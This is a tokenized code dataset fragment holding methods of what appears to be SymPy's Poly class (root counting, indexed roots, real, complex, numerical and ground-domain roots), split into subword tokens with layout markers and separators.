"\\u\\u\\uNL\\u\\u\\u_", "if_", "inf_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inf_", "=_", "symp", "ify_", "(_", "inf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "inf_", "is_", "S_", "._", "Nega", "tiv", "e", "Infinit", "y_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inf_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "re_", ",_", "im_", "=_", "inf_", "._", "as", "\\u", "real", "\\u", "imag_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "im_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "inf_", "=_", "QQ", "_", "._", "convert_", "(_", "inf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "inf_", ",_", "inf", "\\u", "real_", "=_", "list_", "(_", "map_", "(_", "QQ", "_", "._", "convert_", ",_", "(_", "re_", ",_", "im_", ")_", ")_", ")_", ",_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sup_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sup_", "=_", "symp", "ify_", "(_", "sup_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sup_", "is_", "S_", "._", "Infinit", "y_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sup_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "re_", ",_", "im_", "=_", "sup_", "._", "as", "\\u", "real", "\\u", "imag_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "im_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sup_", "=_", "QQ", "_", "._", "convert_", "(_", "sup_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sup_", ",_", "sup", "\\u", "real_", "=_", "list_", "(_", "map_", "(_", "QQ", "_", "._", "convert_", ",_", "(_", "re_", ",_", "im_", ")_", ")_", ")_", ",_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "inf", "\\u", "real_", "and_", "sup", "\\u", "real_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "count", "\\u", "real", "\\u", "root", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "f_", "._", "rep_", "._", "count", "\\u", "real", "\\u", "roots_", "(_", "inf_", "=_", "inf_", ",_", "sup_", "=_", "sup_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "count", "\\u", "real", "\\u", "root", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "inf", "\\u", "real_", "and_", "inf_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inf_", "=_", "(_", "inf_", ",_", "QQ", "_", "._", "zero_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sup", "\\u", "real_", "and_", "sup_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sup_", "=_", "(_", "sup_", ",_", "QQ", "_", "._", "zero_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "count", "\\u", "complex", "\\u", "root", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "f_", "._", "rep_", "._", "count", "\\u", "complex", "\\u", "roots_", "(_", "inf_", "=_", "inf_", ",_", "sup_", "=_", "sup_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "count", "\\u", "complex", "\\u", "root", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Integer_", "(_", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "root_", "(_", "f_", ",_", "index_", ",_", "radic", "als_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "an", " ", "indexe", "d", " ", "root", " ", "of", " ", "a", " ", "polynomial", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "Poly", "(", "2", "*", "x", "**", "3", " ", "-", " ", "7", "*", "x", "**", "2", " ", "+", " ", "4", "*", "x", " ", "+", " ", "4", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "root", "(", "0", ")", "\\", "10", ";", " ", " ", " ", " ", "-1", "/", "2", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "root", "(", "1", ")", "\\", "10", ";", " ", " ", " ", " ", "2", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "root", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "2", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "root", "(", "3", ")", "\\", "10", ";", " ", " ", " ", " ", "Trace", "back", " ", "(", "most", " ", "recent", " ", "call", " ", "last", "):", "\\", "10", ";", " ", " ", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "Index", "Error", ":", " ", "root", " ", "index", " ", "out", " ", "of", " ", "[-", "3", ",", " ", "2", "]", " ", "range", ",", " ", "got", " ", "3", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "5", " ", "+", " ", "x", " ", "+", " ", "1", ").", "root", "(", "0", ")", "\\", "10", ";", " ", " ", " ", " ", "CR", "oot", "Of", "(", "x", "**", "3", " ", "-", " ", "x", "**", "2", " ", "+", " ", "1", ",", " ", "0", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "sympy_", "._", "polys", "_", "._", "root", "oft", "ools_", "._", "root", "of_", "(_", "f_", ",_", "index_", ",_", "radic", "als_", "=_", "radic", "als_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "real", "\\u", "roots_", "(_", "f_", ",_", "multiple_", "=_", "True_", ",_", "radic", "als_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", " ", "a", " ", "list", " ", "of", " ", "real", " ", "root", "s", " ", "with", " ", "multiplicit", "ies", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "2", "*", "x", "**", "3", " ", "-", " ", "7", "*", "x", "**", "2", " ", "+", " ", "4", "*", "x", " ", "+", " ", "4", ").", "real", "\\u", "root", "s", "()", "\\", "10", ";", " ", " ", " ", " ", "[-", "1", "/", "2", ",", " ", "2", ",", " ", "2", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "3", " ", "+", " ", "x", " ", "+", " ", "1", ").", "real", "\\u", "root", "s", "()", "\\", "10", ";", " ", " ", " ", " ", "[", "CR", "oot", "Of", "(", "x", "**", "3", " ", "+", " ", "x", " ", "+", " ", "1", ",", " ", "0", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "real", "s_", "=_", "sympy_", "._", "polys", "_", "._", "root", "oft", "ools_", "._", "CR", "oot", "Of_", "._", "real", "\\u", "roots_", "(_", "f_", ",_", "radic", "als_", "=_", "radic", "als_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "multiple_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "real", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "group_", "(_", "real", "s_", ",_", "multiple_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "all", "\\u", "roots_", "(_", "f_", ",_", "multiple_", "=_", "True_", ",_", "radic", "als_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", " ", "a", " ", "list", " ", "of", " ", "real", " ", "and", " ", "complex", " ", "root", "s", " ", "with", " ", "multiplicit", "ies", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "2", "*", "x", "**", "3", " ", "-", " ", "7", "*", "x", "**", "2", " ", "+", " ", "4", "*", "x", " ", "+", " ", "4", ").", "all", "\\u", "root", "s", "()", "\\", "10", ";", " ", " ", " ", " ", "[-", "1", "/", "2", ",", " ", "2", ",", " ", "2", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "3", " ", "+", " ", "x", " ", "+", " ", "1", ").", "all", "\\u", "root", "s", "()", "\\", "10", ";", " ", " ", " ", " ", "[", "CR", "oot", "Of", "(", "x", "**", "3", " ", "+", " ", "x", " ", "+", " ", "1", ",", " ", "0", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "CR", "oot", "Of", "(", "x", "**", "3", " ", "+", " ", "x", " ", "+", " ", "1", ",", " ", "1", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "CR", "oot", "Of", "(", "x", "**", "3", " ", "+", " ", "x", " ", "+", " ", "1", ",", " ", "2", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "roots_", "=_", "sympy_", "._", "polys", "_", "._", "root", "oft", "ools_", "._", "CR", "oot", "Of_", "._", "all", "\\u", "roots_", "(_", "f_", ",_", "radic", "als_", "=_", "radic", "als_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "multiple_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "roots_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "group_", "(_", "roots_", ",_", "multiple_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "nro", "ots_", "(_", "f_", ",_", "n_", "=_", "15_", ",_", "maxs", "tep", "s_", "=_", "50_", ",_", "cleanup_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", " ", "numerical", " ", "approx", "imat", "ion", "s", " ", "of", " ", "root", "s", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "=========", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "n", " ", "...", " ", "the", " ", "number", " ", "of", " ", "digit", "s", " ", "to", " ", "calcul", "ate", "\\", "10", ";", " ", " ", " ", " ", "maxs", "tep", "s", " ", "...", " ", "the", " ", "maxim", "um", " ", "number", " ", "of", " ", "iterati", "ons", " ", "to", " ", "do", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "the", " ", "accu", "rac", "y", " ", "`", "n", "`", " ", "cann", "ot", " ", "be", " ", "reache", "d", " ", "in", " ", "`", "maxs", "tep", "s", "`", ",", " ", "it", " ", "will", " ", "raise", " ", "an", "\\", "10", ";", " ", " ", " ", " ", "exception", ".", " ", "You", " ", "need", " ", "to", " ", "rerun", " ", "with", " ", "higher", " ", "maxs", "tep", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "3", ").", "nro", "ots", "(", "n", "=", "15", ")", "\\", "10", ";", " ", " ", " ", " ", "[-", "1.7", "320", "508", "075", "688", "8", ",", " ", "1.7", "320", "508", "075", "688", "8", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "3", ").", "nro", "ots", "(", "n", "=", "30", ")", "\\", "10", ";", " ", " ", " ", " ", "[-", "1.7", "320", "508", "075", "688", "772", "935", "274", "463", "415", "1", ",", " ", "1.7", "320", "508", "075", "688", "772", "935", "274", "463", "415", "1", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "f_", "._", "is", "\\u", "multivariate", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Multi", "varia", "te", "Polynomial", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "can", "'", "t", " ", "compute", " ", "numerical", " ", "root", "s", " ", "of", " ", "%", "s", "\"_", "%_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "f_", "._", "degree_", "(_", ")_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "integ", "er", " ", "and", " ", "rational", " ", "coefficient", "s", ",", " ", "convert", " ", "them", " ", "to", " ", "integ", "ers", " ", "only_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "for", " ", "accu", "rac", "y", ").", " ", "Ot", "her", "wis", "e", " ", "just", " ", "try", " ", "to", " ", "convert", " ", "the", " ", "coefficient", "s", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mpm", "ath", ".", "mpc", " ", "and", " ", "raise", " ", "an", " ", "exception", " ", "if", " ", "the", " ", "conve", "rsi", "on", " ", "fail", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "f_", "._", "rep_", "._", "dom_", "is_", "ZZ", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeffs_", "=_", "[_", "int_", "(_", "coeff_", ")_", "for_", "coeff_", "in_", "f_", "._", "all", "\\u", "coeffs_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "f_", "._", "rep_", "._", "dom_", "is_", "QQ", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "deno", "ms_", "=_", "[_", "coeff_", "._", "q_", "for_", "coeff_", "in_", "f_", "._", "all", "\\u", "coeffs_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "core_", "._", "numbers_", "import_", "il", "cm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fac_", "=_", "il", "cm_", "(_", "*_", "deno", "ms_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "coeffs_", "=_", "[_", "int_", "(_", "coeff_", "*_", "fac_", ")_", "for_", "coeff_", "in_", "f_", "._", "all", "\\u", "coeffs_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeffs_", "=_", "[_", "coeff_", "._", "eval", "f_", "(_", "n_", "=_", "n_", ")_", "._", "as", "\\u", "real", "\\u", "imag_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "coeff_", "in_", "f_", "._", "all", "\\u", "coeffs_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeffs_", "=_", "[_", "mpm", "ath_", "._", "mpc", "_", "(_", "*_", "coeff_", ")_", "for_", "coeff_", "in_", "coeffs_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Doma", "in", "Error_", "(_", "\"", "Numerical", " ", "domain", " ", "expected", ",", " ", "got", " ", "%", "s", "\"_", "%_", "f_", "._", "rep_", "._", "dom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dps", "_", "=_", "mpm", "ath_", "._", "mp_", "._", "dps", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mpm", "ath_", "._", "mp_", "._", "dps", "_", "=_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "need", " ", "to", " ", "add", " ", "extra", " ", "preci", "sion", " ", "to", " ", "guard", " ", "against", " ", "los", "ing", " ", "accu", "rac", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "10", " ", "times", " ", "the", " ", "degr", "ee", " ", "of", " ", "the", " ", "polynomial", " ", "see", "ms", " ", "to", " ", "work", " ", "well", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "roots_", "=_", "mpm", "ath_", "._", "poly", "roots_", "(_", "coeffs_", ",_", "maxs", "tep", "s_", "=_", "maxs", "tep", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cleanup_", "=_", "cleanup_", ",_", "error_", "=_", "False_", ",_", "extra", "prec_", "=_", "f_", "._", "degree_", "(_", ")_", "*_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Mp", "math", " ", "puts", " ", "real", " ", "root", "s", " ", "first", ",", " ", "then", " ", "complex", " ", "ones", " ", "(", "as", " ", "doe", "s", " ", "all", "\\u", "root", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "we", " ", "make", " ", "sure", " ", "this", " ", "convention", " ", "hold", "s", " ", "here", ",", " ", "too", "._", "\\u\\u\\uNL\\u\\u\\u_", "roots_", "=_", "list_", "(_", "map_", "(_", "symp", "ify_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sorted_", "(_", "roots_", ",_", "key_", "=_", "lambda_", "r_", ":_", "(_", "1_", "if_", "r_", "._", "imag_", "else_", "0_", ",_", "r_", "._", "real_", ",_", "r_", "._", "imag_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "No", "Converge", "nce_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "No", "Converge", "nce_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "convergence", " ", "to", " ", "root", " ", "fail", "ed", ";", " ", "try", " ", "n", " ", "<", " ", "%", "s", " ", "or", " ", "maxs", "tep", "s", " ", ">", " ", "%", "s", "'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "n_", ",_", "maxs", "tep", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mpm", "ath_", "._", "mp_", "._", "dps", "_", "=_", "dps", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "roots_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ground", "\\u", "roots_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", " ", "root", "s", " ", "of", " ", "``", "f", "``", " ", "by", " ", "factori", "zatio", "n", " ", "in", " ", "the", " ", "ground", " ", "domain", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "6", " ", "-", " ", "4", "*", "x", "**", "4", " ", "+", " ", "4", "*", "x", "**", "3", " ", "-", " ", "x", "**", "2", ").", "ground", "\\u", "root", "s", "()", "\\", "10", ";", " ", " ", " ", " ", "{", "0", ":", " ", "2", ",", " ", "1", ":", " ", "2", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "f_", "._", "is", "\\u", "multivariate", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Multi", "varia", "te", "Polynomial", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "can", "'", "t", " ", "compute", " ", "ground", " ", "root", "s", " ", "of", " ", "%", "s", "\"_", "%_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "roots_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "factor_", ",_", "k_", "in_", "f_", "._", "factor", "\\u", "list_", "(_", ")_", "[_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "factor_", "._", "is", "\\u", "linear_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", ",_", "b_", "=_", "factor_", "._", "all", "\\u", "coeffs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "roots_", "[_", "-_", "b_", "/_", "a_", "]_", "=_", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "roots_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", 